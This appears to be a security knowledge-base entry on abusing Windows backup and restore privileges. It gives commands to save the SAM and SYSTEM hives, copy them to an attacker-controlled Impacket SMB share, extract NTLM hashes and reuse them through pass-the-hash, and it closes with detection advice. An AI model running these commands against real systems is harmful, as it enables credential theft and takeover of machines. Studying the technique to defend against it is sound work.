SeBackupPrivilege and SeRestorePrivilege

Windows privileges that grant a process the ability to bypass file-system access checks for backup and restore operations. Members of the built-in Backup Operators group hold both by default — making the group a high-value privilege-escalation target.

Privilege	Effect when held
SeBackupPrivilege	Read any file on the system, regardless of the security descriptor (DAC). Enables wholesale data exfiltration.
SeRestorePrivilege	Write any file, including replacing system binaries and registry hives. Pairs with service- or task-based attacks for code execution.

Per Microsoft’s file-system driver documentation, SeBackupPrivilege allows file content retrieval even when the file’s security descriptor would deny it, and SeRestorePrivilege allows setting any valid security descriptor on a file.

Dumping the SAM and SYSTEM hives

The classic escalation path: use backup rights to copy the local registry hives, then extract credential material offline.

reg save HKLM\SYSTEM $PATH_TO_HIVE_FILE
reg save HKLM\SAM    $PATH_TO_HIVE_FILE

Exfiltrating via an Impacket SMB share

Run a temporary SMB server on the attacker host with Impacket:

impacket-smbserver -smb2support -username $CONNECTION_USER \
    -password $CONNECTION_PASSWORD $SHARE_NAME $PATH_TO_DIRECTORY

Then copy the hives out from the Windows target:

copy $FILE \\$ATTACKER_IP\$SHARE_NAME\

Offline hash extraction and pass-the-hash

# Recover NTLM hashes from the captured hives
impacket-secretsdump -sam $SAM_HIVE_FILE -system $SYSTEM_HIVE_FILE LOCAL
 
# Use a recovered hash for remote execution (pass-the-hash)
impacket-psexec -hashes $FULL_NTLM_HASH $TARGET_USER@$TARGET_IP

SeRestorePrivilege — binary replacement

Because restore rights allow writing any file, an attacker can overwrite a binary referenced by a privileged Windows service or scheduled task, then trigger it for execution as SYSTEM. See exploit-windows-services.

Defense

• Treat Backup Operators as a privileged group on par with Domain Admins — monitor membership changes
• Alert on remote registry access via accounts with Backup Operators membership (Elastic prebuilt rule: Suspicious Remote Registry Access via SeBackupPrivilege)
• Alert on reg save of HKLM\SAM / HKLM\SYSTEM outside of sanctioned backup tooling
• See windows-event-logs for relevant event IDs

Sources

• fortra/impacket
• Managing Privileges in a File System - Windows drivers | Microsoft Learn
• OS Credential Dumping: Security Account Manager, Sub-technique T1003.002 - Enterprise | MITRE ATT&CK
• Suspicious Remote Registry Access via SeBackupPrivilege — Elastic Security

Related: setakeownership-privilege, whoami, windows-services, exploit-windows-services, ntlm-relay-attacks, windows-reconnaissance-commands